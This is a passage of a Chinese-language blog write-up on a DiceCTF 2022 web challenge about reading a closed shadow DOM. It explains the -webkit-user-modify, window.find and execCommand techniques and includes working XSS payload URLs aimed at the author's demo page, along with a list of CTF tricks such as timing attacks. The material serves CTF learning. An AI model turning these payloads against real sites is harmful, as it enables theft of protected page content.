建立了一個 closed 的 shadow DOM,然後要你想辦法可以存取到裡面的內容。根據 MDN 的說法,closed 的意思是:

closed: Denies access to the node(s) of a closed shadow root from JavaScript outside it:

所以用 JavaScript 沒辦法直接存取到程式碼,因為怎麼 query 都是 null。

因此這題的關鍵是特地留的一個 style injection:div.style = y;,你可以新增一些 CSS。

在做這題的時候我想說會不會是用 Houdini 然後自己實作一些 CSS 的自訂屬性或是排版規則,就可以拿到 DOM,但因為 CSP 跟執行順序的關係,應該是沒有辦法。

後來因為這題太久都沒人解開,主辦單位釋出了一個提示:「Hint 1: non-standard css properties might help you」

看到這個之後我就去 Google:non-standard css properties,然後有找到這個:Non-standard and Obsolete CSS Properties,並且實際去試了裡面幾個屬性,但都沒什麼幫助。

此時我突然好奇起 Chrome 到底支援哪些 CSS 屬性,於是就直接去找原始碼來看,找到這個:https://chromium.googlesource.com/chromium/blink/+/refs/heads/main/Source/core/css/CSSProperties.in

(話說上面的是舊版,新版在這裡:third_party/blink/renderer/core/css/css_properties.json5,相關說明在這裡:third_party/blink/renderer/core/style/ComputedStyle.md

我就一個一個看,看有沒有哪個比較特別的,就找到了 -webkit-user-modify 這個屬性,來看一下 MDN: https://developer.mozilla.org/en-US/docs/Web/CSS/user-modify

看起來這屬性就跟 contenteditable 差不多,既然變成 contenteditable,自然而然就會想到 document.execCommand,而這裡面有個 insertHTML 的指令,看起來很有機會。

於是我就在 console 上面試了半天,試了像是 document.execCommand('insertHTML',false,'<img src=x onerror=console.log(this.parentNode)') 之類的東西,但是 console 顯示出 null,我想說可能不是這個解吧,於是到這邊就放棄了。

看了賽後的 writeup:https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md,發現其實我的方向完全是正確的,只是有兩個關鍵點沒找到。

第一個關鍵點是要先 focus 那段文字再執行 insertHTML,這個我之前有試過 .focus() 但沒用,第二個關鍵點是要用 svg 才能成功。

先放一下成功的 payload:

1
https://aszx87410.github.io/demo/misc/shadow.html?y=-webkit-user-modify:+read-write&x=<img+src=x+onerror="find('steal me');document.execCommand('insertHTML',false,'<svg/onload=alert(this.parentNode.innerHTML)>')">

先用 window.find 去 focus 內容之後,再執行 document.execCommand 去插入 HTML,然後透過 svg 的 event 去執行 JS 拿到節點

底下是幾個會失敗的 payload:

1
2
3
4
5
// 沒有 focus
https://aszx87410.github.io/demo/misc/shadow.html?y=-webkit-user-modify:+read-write&x=<img+src=x+onerror="document.execCommand('insertHTML',false,'<svg/onload=alert(this.parentNode.innerHTML)>')">

// 用了不是 svg 的元素,會讀不到 this.parentNode
https://aszx87410.github.io/demo/misc/shadow.html?y=-webkit-user-modify:+read-write&x=<img+src=x+onerror="find('steal me');document.execCommand('insertHTML',false,'<img/src=x+onerror=alert(this.parentNode.innerHTML)>')">

但神奇的事情是,如果在前面先加上 document.exec('selectAll'),就可以:

1
https://aszx87410.github.io/demo/misc/shadow.html?y=-webkit-user-modify:+read-write&x=<img+src=x+onerror="find('steal me');document.execCommand('selectAll');document.execCommand('insertHTML',false,'<img/src=x+onerror=alert(this.parentNode.parentNode.innerHTML)>')">

為什麼會有這個差異呢?我也不知道,解出來的人似乎也不知道XD

除了學到 window.find 這個神奇的 API 以外,從 Discord 的賽後討論也學到了另一個隱藏 API:document.execCommand('findString', false, 'steal'),他們說是從 Chromium source code 裡面看到的:https://chromium.googlesource.com/chromium/src/+/refs/tags/100.0.4875.3/third_party/blink/renderer/core/editing/commands/editor_command_names.h#35

這邊留下三個坑,未來有機會再補:

  1. 研究一下所有 document.execCommand 可以執行的指令
  2. 研究一下所有 global function
  3. 研究一下所有 Chrome 支援的 CSS 屬性

總結

雖然 10 題裡面只打出 1 題 web,但還是收穫滿滿,筆記一下這次學到的新知識:

  1. Node.js 會把模組用 function 包起來
  2. 不能用 import "fs" 但可以用 import("fs").then()
  3. JS 有些字元轉大小或小寫之後長度會變
  4. RegExp.input 也就是 RegExp.$_,可以拿到最後比對的輸入
  5. <svg><svg onload=alert()> 是同步執行的,這個真的神奇
  6. 可以把 connection pool 塞滿來執行 timing attack
  7. -webkit-user-modify 可以做到跟 contenteditable 差不多的事情
  8. window.finddocument.execCommand('findString', false, 'steal') 可以反白選取相對應字串

感覺這次學到的技巧其他 CTF 也很有機會派上用場。

從「為什麼不能用這個函式」談執行環境(runtime) 透過 Chrome Origin Trials 搶先試用新功能

評論

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×